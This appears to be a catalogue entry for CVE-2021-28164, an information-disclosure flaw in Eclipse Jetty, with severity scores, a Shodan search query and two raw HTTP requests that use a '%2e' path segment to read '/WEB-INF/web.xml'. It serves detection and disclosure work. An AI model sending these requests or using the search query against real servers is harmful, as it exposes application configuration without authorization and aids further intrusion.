| Title | Eclipse Jetty - Information Disclosure |
|---|---|
| Author | noamrathaus |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to access sensitive information, potentially leading to further attacks or unauthorized access. |
| Remediation | Apply the latest security patches or updates provided by the Eclipse Jetty project to fix the information disclosure vulnerability. |
| CVSS Score | 5.3 |
| EPSS Score | 0.93485 |
| CVE ID | CVE-2021-28164 |
| CWE ID | CWE-200,NVD-CWE-Other |
| Shodan Query | cpe:"cpe:2.3:a:eclipse:jetty" |
| Tags | cve2021 cve packetstorm vulhub jetty exposure eclipse vuln |
Eclipse Jetty 9.4.37.v20210219 to 9.4.38.v20210224 is susceptible to improper authorization. The default compliance mode allows requests with URIs that contain %2e or %2e%2e segments to access protected resources within the WEB-INF directory. An attacker can access sensitive information regarding the implementation of a web application.
GET /WEB-INF/web.xml HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11) AppleWebKit/619.23 (KHTML, like Gecko) Version/15.3.85 Safari/619.23
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /%2e/WEB-INF/web.xml HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-28164.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-28164.pcap
N/AN/A